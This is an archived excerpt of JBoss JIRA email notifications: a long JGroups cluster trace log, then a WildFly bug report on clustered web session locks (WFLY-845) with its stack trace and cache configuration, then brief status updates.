> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#11, OM2:1299#6]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) received stable digest OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 0 from OM2:1299
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 6 from OM1:1299
> 2013-08-30 09:50:05,902 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:05,902 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:05,902 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [FD] (OOB-20,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (Incoming-13,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:08,897 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:08,897 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (Timer-3,<ADDR>) sending OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:13,702 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:13,702 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:15,917 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#12
> 2013-08-30 09:50:18,320 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:18,507 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:18,507 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:23,312 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:23,312 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 DEBUG [FD] (Timer-5,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:25,932 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM2:1299 (4 headers), size=391 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=11, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM2:1299#13
> 2013-08-30 09:50:28,116 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:28,116 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:32,921 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:32,921 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:35,948 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:37,726 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:37,726 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:42,531 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:42,531 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (Incoming-10,null) OM1:1299: received OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [MFC] (Incoming-10,null) OM1:1299 used 354 credits, 1997829 remaining
> 2013-08-30 09:50:44,824 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:44,824 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#14
> 2013-08-30 09:50:44,824 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 08:32:03 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Tue, 3 Sep 2013 08:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-845) Cluster Environment Web
	Session Locks
In-Reply-To: <JIRA.12483554.1359225258000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483554.1359225258000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483554.1359225258000.5756.1378211523665@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-845?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801110#comment-12801110 ] 

Radoslav Husar commented on WFLY-845:
-------------------------------------

Kelly, please try with the latest WildFly release: http://www.wildfly.org/download/
                
> Cluster Environment Web Session Locks
> -------------------------------------
>
>                 Key: WFLY-845
>                 URL: https://issues.jboss.org/browse/WFLY-845
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>         Environment: Windows 7 64bits, 8 GB RAM
>            Reporter: Manuel Pinto
>            Assignee: Paul Ferraro
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: AS7-4260.patch
>
>
> Hi,
> I found a problem with web session locks in a cluster environment. We have two Liferay 6.1.1 nodes (over JBoss 7.1.1 Final) in standalone-ha.xml configuration with infinispan "web" cache-container, replicated-cache and file store. The load balancer is configured in non sticky session mode.
> Problem: when a node processes requests in some cases locks the session and never unlock it, preventing other node from processing requests for that session. The affected node never regain the locked session and keep throwing the following exception for all subsequent requests and only recover a session when other node shutdown:
> Note: we also tried invalidation-cache and distributed-cache and all locking modes but without success.
> 17:39:00,174 ERROR [org.apache.catalina.connector.CoyoteAdapter] (http--172.16.250.105-8080-4) An exception or error occurred in the container during the request processing: java.lang.RuntimeException: JBAS018060: Exception acquiring ownership of Cvn-K+r-cBGesIBoDrakJhrO
> at org.jboss.as.web.session.ClusteredSession.acquireSessionOwnership(ClusteredSession.java:528) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:496) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> at org.apache.catalina.connector.Request.doGetSession(Request.java:2625) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.connector.Request.getSession(Request.java:2375) [jbossweb-7.0.13.Final.jar:]
> at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:81) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:155) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:368) [jbossweb-7.0.13.Final.jar:]
> at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:877) [jbossweb-7.0.13.Final.jar:]
> at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) [jbossweb-7.0.13.Final.jar:]
> at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) [jbossweb-7.0.13.Final.jar:]
> at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_32]
> Caused by: org.jboss.as.clustering.lock.TimeoutException: JBAS010223: Cannot acquire lock //default-host//Cvn-K+r-cBGesIBoDrakJhrO from cluster
> at org.jboss.as.clustering.lock.SharedLocalYieldingClusterLockManager.lock(SharedLocalYieldingClusterLockManager.java:439)
> at org.jboss.as.clustering.web.infinispan.DistributedCacheManager.acquireSessionOwnership(DistributedCacheManager.java:372)
> at org.jboss.as.web.session.ClusteredSession.acquireSessionOwnership(ClusteredSession.java:520) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> ... 12 more
> The standalone-ha.xml "web" cache-container config is the following:
> <cache-container name="web" aliases="standard-session-cache" default-cache="repl">
> <transport lock-timeout="60000"/>
> <replicated-cache name="repl" mode="SYNC" batching="true">
> <file-store/>
> </replicated-cache>
> <replicated-cache name="sso" mode="SYNC" batching="true"/>
> <distributed-cache name="dist" mode="ASYNC" batching="true">
> <file-store/>
> </distributed-cache>
> </cache-container>
> Thanks,
> Manuel Pinto

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:40:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 08:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-928) Starting a server with
 multiple web apps , causes  deploymeent failures
In-Reply-To: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486589.1362603773000.5786.1378212003887@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-928?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801115#comment-12801115 ] 

RH Bugzilla Integration commented on WFLY-928:
----------------------------------------------

Paul Ferraro <paul.ferraro at redhat.com> changed the Status of [bug 918791|https://bugzilla.redhat.com/show_bug.cgi?id=918791] from NEW to POST
                
